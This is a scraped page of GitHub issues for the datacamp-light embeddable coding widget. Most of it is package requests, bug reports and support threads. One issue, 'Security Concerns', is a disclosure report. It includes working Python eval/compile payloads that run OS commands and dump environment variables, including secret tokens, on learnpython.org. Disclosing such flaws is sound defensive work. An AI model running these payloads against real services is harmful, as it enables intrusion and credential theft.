Code Monkey home page Code Monkey logo

datacamp-light's Issues

quantmod::getSymbols() gives error

Hi, I am just trying the package tutorial for the first time to teach a class.
However, I ran into problems right away when I tried to load financial data:
library(quantmod)
getSymbols("^GSPC")

Error: cannot open URL 'http://ichart.finance.yahoo.com/table.csv?s=^GSPC&a=0&b=01&c=2007&d=10&e=11&f=2017&g=d&q=q&y=0&z=^GSPC&x=.csv'

The same two lines I can execute on my local RStudio. DataCamp quantmod version is only 0.4.7 instead of 0.4.9, but I don't think that's the issue...

Thanks
Daniel

Allow SQL as a language

Not an urgent request at all, but was thinking it would be maybe nice to have this also for SQL - It's a nice to have for the Community. @filipsch what do you think?

request for installing bio3d

I'm seeking to use datacamp-light in combination with the bio3d package for teaching purposes. I read in the tutorial I could make an issue to request new packages. I hope you can consider installing bio3d. Thanks. L

Add odbc Package

Would it be possible to add the odbc package?

Thank you very much!

Package install request

Hello,

Could you please install the following packages?
Lock5withR
Lock5Data

Thank you very much for your help.

Incorrect rendering of accented characters

@dfalbel commented on Tue Dec 27 2016

When using accented characters in exercises code comments, the sample code is ok:

capturar

When I run the code, the accented characters are rendered wrong in the console

capturar2

Here a reproducible example.

Thanks very much!


@filipsch commented on Tue Dec 27 2016

@dfalbel I though you'd bump into that one... Our backend currently does not support exotic characters other than the utf8 ones... It's an issue that we're hoping to solve soon. Until then, I suggest you don't use any ã, ú etc... I bumped it up the issue queue internally, I'll let you know if we figure out a solution.


@dfalbel commented on Tue Dec 27 2016

No problems! Thanks for great support.


@filipsch commented on Mon Feb 20 2017

Something that has to be addressed on the datacamp-light project.

add packages

I would like add VaRES package version 1.0 from CRAN

Multiple choice question

Hello,
How can I create a multiple choice question with datacamp-light, I have tried this code but there was an error :
DataCamp encountered the following error:
DC_CODE not set.

` <script src="https://cdn.datacamp.com/datacamp-light-latest.min.js"></script>

    <code data-type="pre-exercise-code">
      # pec
    </code>
    <code data-type="instructions">
      - `"I can add integers, like "  + str(5) + " to strings."`
      - `"I said " + ("Hey " * 2) + "Hey!"`
      - `"The correct answer to this multiple choice exercise is answer number " + 2`
      - `True + False`


    </code>
    
    <code data-type="sct">
      msg1 = msg2 = msg4 = "Incorrect, this command runs perfectly fine."
      msg3 = "Correct! Because you're not converting `2` to a string with [`str()`](https://docs.python.org/3/library/functions.html#func-str), this will give an error."
      test_mc(3, [msg1, msg2, msg3, msg4])
    </code>
    <div data-type="hint">Use the assignment operator .</div>
  </div>
</div>`

Thankyou in advance.

Add packages

Please add the following packages:

shinydashboard
fPorfolio
timeSeries
pastecs
fMultivar

"Your session has been disconnected"

@rubenarslan commented on Sat Sep 03 2016

I keep getting this, even in the example. It's somewhat random.
I tried disabling extensions, making sure I always only had one datacamp tab open.

What are possible causes? In the console I see 403s from the multiplexer subdomain that only seem to co-occur with the disconnected message. But I don't why there are sometimes 403s and sometimes not.


@filipsch commented on Sat Sep 03 2016

Hey @rubenarslan can you give some more details on how you tried this and got these errors? For which language? I just checked redid build_example() and then rendered it, and that worked fine. You can check my steps in this screencast.

Also, make sure you have the latest version of tutorial installed:

update.packages("tutorial") # latest cran version
devtools::install_github("datacamp/tutorial") # latest development version

@rubenarslan commented on Sat Sep 03 2016

I installed the latest Dev version, built the example and then tried it.
Sometimes it worked, but sometimes it didn't after a reload. It seemed
random.

On Sat, 3 Sep 2016, 17:03 Filip Schouwenaars, [email protected]
wrote:

Hey @rubenarslan https://github.com/rubenarslan can you give some more
details on how you tried this and got these errors? For which language? I
just checked redid build_example() and then rendered it, and that worked
fine. You can check my steps in this screencast
https://www.dropbox.com/s/ks5nbu9px1j0f19/tutorial.mov?dl=0.

Also, make sure you have the latest version of tutorial installed:

update.packages("tutorial") # latest cran versiondevtools::install_github("datacamp/tutorial") # latest development version


You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
datacamp/tutorial#15 (comment),
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAyuhbYmt7LhDzvo8UOB17MdiKsLxUHXks5qmYw1gaJpZM4J0KdT
.


@filipsch commented on Mon Sep 05 2016

Hey @rubenarslan, you're sure you're doing that inside Chrome or another web browser?


@rubenarslan commented on Mon Sep 05 2016

Yes I tried both Chrome and Safari.

On Mon, 5 Sep 2016, 09:18 Filip Schouwenaars, [email protected]
wrote:

Hey @rubenarslan https://github.com/rubenarslan, you're sure you're
doing that inside Chrome or another web browser?


You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
datacamp/tutorial#15 (comment),
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAyuhYxRE1FC7U8g83tb3i_5uONFVK5dks5qm8IvgaJpZM4J0KdT
.


@rubenarslan commented on Mon Sep 05 2016

You can try it out yourself here: http://opencpu2.psych.bio.uni-goettingen.de/ocpu/tmp/x0d4f45777ec3d7e30bf3cb2b68631ea57bf3a72a27ec70bc9b9/files/knit.html

This is the request that fails:

Request URL:https://multiplexer-prod.datacamp.com/input?sid=0595d4be848575e70f2a5968d16b7bc9&newCount=0
Request Method:POST
Status Code:403 Forbidden

payload:
authentication_token:
"5a4b2ca7-60a8-4041-a9d7-ebd904825263"
command:"DC_DATA = ''↵DC_DATA = paste0(DC_DATA, '{"DC_RENDER_HEIGHT":198,"DC_RENDER_WIDTH":449,"DC_TYPE":"NormalExercise","DC_CODE":"plot(ran)","DC_ECHO":true,"DC_COMMAND":"console"}')↵execute(DC_DATA)"


@filipsch commented on Mon Sep 05 2016

If you quickly switch between exercises on the example link you posted, you sometimes get the error message, but if you just click Run again, it's fine, no?

Seemed to work for me.

By the way, make sure to make ran explicitly available in the exercise, either in the sample code or in the pre_exercise_code (you can read more about it in the vignette).


@rubenarslan commented on Mon Sep 05 2016

No, I almost always get the error message, without any switching and it's
not possible to make any progress because of that. That's why I haven't yet
figured out anything about making data available etc.
You get the error too but less often? Is it a race condition or a timeout
or something similar?

On Mon, 5 Sep 2016, 12:42 Filip Schouwenaars, [email protected]
wrote:

If you quickly switch between exercises on the example link you posted,
you sometimes get the error message, but if you just click Run again, it's
fine, no?

Seemed to work for me.

By the way, make sure to make ran explicitly available in the exercise,
either in the sample code or in the pre_exercise_code (you can read more
about it in the vignette).


You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
datacamp/tutorial#15 (comment),
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAyuhdm-TCcnRs2PtLvS0bUKAemwyy4-ks5qm_IUgaJpZM4J0KdT
.


@rubenarslan commented on Mon Sep 05 2016

It works maybe once in 20 times when I keep clicking the Run button.

Also, do I get this right:
It's not possible to connect two consecutive chunks, but let the user play around in both?
I.e. each chunk needs to be self-contained or have the code from all preceding chunks duplicated in a hidden "pre-exercise-code" chunk?
If so, it won't be useful for my purposes.


@filipsch commented on Mon Sep 05 2016

Yes, all chunks need to be self-contained. Every chunk is something that stands on its own, and is independent of what happens inside other chunks.


@rubenarslan commented on Mon Sep 05 2016

Too bad! If you did it differently, it would be very easy to turn an
existing knitr document into a step-by-step, this way not so much. In knitr
chunks depend on one another.

I could still use it for other things, let me know if you figure out how I
can avoid the timeout.

On Mon, 5 Sep 2016, 14:22 Filip Schouwenaars, [email protected]
wrote:

Yes, all chunks need to be self-contained. Every chunk is something that
stands on its own, and is independent of what happens inside other chunks.


You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
datacamp/tutorial#15 (comment),
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAyuhdBhWXwDrPRiISzso6fcPkl2nMRWks5qnAl9gaJpZM4J0KdT
.


@witusj commented on Sun Feb 05 2017

I have the same issue. After knitting the Rmd file I get a nice html file, but when running the exercise code, it states that the session has been disconnected. With a bit of patience and after repeatedly clicking the 'Run' button it finally runs. See this video for a demonstration: https://youtu.be/IFUw7GV6tas

I love the idea behind your tool and if this issue could be solved, it would be a quantum leap forward for me as a teacher. Truly revolutional!

Update: here's a picture of the inspection field

screen shot 2017-02-05 at 09 33 07


@filipsch commented on Mon Feb 06 2017

Hi @witusj I already elaborated on the issue in the datacamp/datacamp-light repo; let me know if it persists.


@filipsch commented on Mon Feb 20 2017

Something that has to be addressed on datacamp-light

import pyspark ERROR

Hello datacamp-light team,

I try to import pyspark package but I get an error (No module named 'pyspark')

Could you add this library please to your plugin because it is one of the most important libraries in python?

And thank you for this great plugin.

add console clear button

Hi there I think a console clear button somewhere inside the interactive shell will be great. Sometimes a learner/user will play around with trying some random stuff and the previous outputs will get piled up creating a confusion.

regarding libraries ?

@filipsch thanks for your lighting response . well actually i just want implement it in my small blog that would help students to learn practically those who cannot afford to take courses from outside. so that want use datacamp, is it possible to load datacamp light with all packages ?

i would like to use all available libraries/packages in data camplight if its not possible, kindly suggest some other way to use all packages and libraries in datacamp

shiny package generating error

I am trying to run a shiny app (very simple) and throws an error.

library(shiny)
ui <- fluidPage()
server <- function(input, output) {}
shinyApp(ui = ui, server = server)

DataCamp encountered the following error during console:
Error in file(file, ifelse(append, "a", "w")): cannot open the connection

Please try again, or refresh the page. Sorry for any inconvenience.

Jquery conflict embedding into my application page

Hi,

I tried embedding datacamp-light into my application in these two steps:

  • <script src="https://cdn.datacamp.com/datacamp-light-latest.min.js"></script>
  • in a function, called on a button click, I am using jquery to open a dialog box containing the datacamp editor.
    ie.
    var template_html = '<div data-datacamp-exercise data-lang="python">' + '<code data-type="pre-exercise-code"></code>' + '<code data-type="sample-code"></code>' + '<code data-type="solution"></code>' + '<code data-type="sct"></code>' + '</div>'; document.getElementById("editor-dialog").innerHTML = template_html; $("#editor-dialog").dialog({...

It immediately gets error "Uncaught TypeError: $(...).dialog is not a function" - an apparent conflict with jquery.

Is this a known issue?

Colin Goldberg

R Console Label Bug

The R Console label has moved into a position where it is blocking the executed code (see below).

issue

Love the library! Very helpful for making custom tutorials without having to send people to another website.

regarding libraries ?

Could anyone tell me how many std libraries that datacamp-light has support so far?

Add package

Please add the following packages:

  • tvm
  • lpSolve
  • linprog

Package request for plm

Please add the most recent version of the "plm" R package (available on CRAN) to DataCamp.

It is basically the "go to" tool for conducting regression analyses with time-series data (e.g. fixed effects models). The Journal of Statistical Software article that describes this R program has 400 citations on Google Scholar.

Best,

Brian

issue

DataCamp Light examples available on port 3003.
Error: ENOENT, stat 'C:\xxx\xxx\Desktop\cp\datacamp-light-master\example\undefined'
at Error (native)

callback value after code success

We try to use the datacamplight in our site. After have success_msg we want to change to the next exercise by link to the next page so are there the callback value to us?

Installing external packages

Hi, This is a promising work for e-learning, and congrats so far...

I was wondering whether is possible to install R packages either from CRAN or from Github?

Translation

Hi,

I am using "Datacamp Light" plugin for my education site which is in Turkish. Is it possible to translate button labels "Hint", "Run", "Solution" and the sentence "Powered by Datacamp" to Turkish language?

I am using Loco plugin to translate other plugins but that didn't work for Datacamp Light.

stuck on loading datacamp light

Hello, I build datacamp light repository as mention on github. after setting datacamplight-latest-min.js in example files there is loading logo (datacamp logo) appear on page. any fixes ?

capture

Security Concerns

On learnpython.org, you can execute OS level commands.

Steps to Reproduce

  1. Head over to https://www.learnpython.org/en/Hello%2C_World%21 Example to get OS environment data:
eval(compile('for x in range(1): 
    import os 
    print(os.environ)','a','single')) 

Returns:

environ({'PYTHONPATH': '/usr/local/lib/python3.5/dist-packages:/var/lib/python/site-packages', 'LC_ALL': 'en_US.UTF-8', 'HOSTNAME': '****', 'SHARED_PYTHON_PATH': '/var/lib/python/site-packages', 'LANGUAGE': 'en_US:en', 'HOME': '/home/repl', 'GITHUB_TOKEN': '****', 'PATH': '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', 'PROXYTOKEN': '****', 'SHARED_R_PATH': '/var/lib/R/shared_libs', 'PYTHONWARNINGS': 'ignore', 'PYTHON_BACKEND_DEBUG': 'False', 'LANG': 'en_US.UTF-8', 'BOKEH_SERVER_URL': 'https://bokeh-server.datacamp.com/', 'TERM': 'xterm'})

Example to get OS code execution (simple example using 'id' command:

eval(compile("""__import__('os').popen(r'id').read()""",'','single')) 

Returns:

Out[1]: 'uid=1000(repl) gid=1000(repl) groups=1000(repl)

More info: https://sethsec.blogspot.com/2016/11/exploiting-python-code-injection-in-web.html

Status 403 (Forbidden)

After creating the html file, and testing it, it states that the session has been disconnected. With a bit of patience and after repeatedly clicking the 'Run' button it finally runs. See this video for a demonstration: https://youtu.be/IFUw7GV6tas

I love the idea behind your tool and if this issue could be resolved, it would be a quantum leap forward for me as a teacher. Truly revolutional!

Update: here's a picture of the inspection field (of another test)

screen shot 2017-02-05 at 09 33 07

Support HTML output

@richierocks commented on Tue May 16 2017

Adapted by @filipsch

Problem

HTML plots don't display in DataCamp Light

Steps to Reproduce.

Go to any datacamp light chunk, and try to submit the following code:

library(ggvis)
mtcars %>% ggvis(~wt, ~hp) %>% layer_points()

It should show up a HTML plot (the response from the mux clearly shows that a payload type of iframe is sent back), but nothing shows. It seems that datacamp light is not 'listening' to payload types of type iframe.

Allow external callbacks

I am trying to apply datacamp-light into our website. It works great. Is there any way to get a callback after success problem?

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.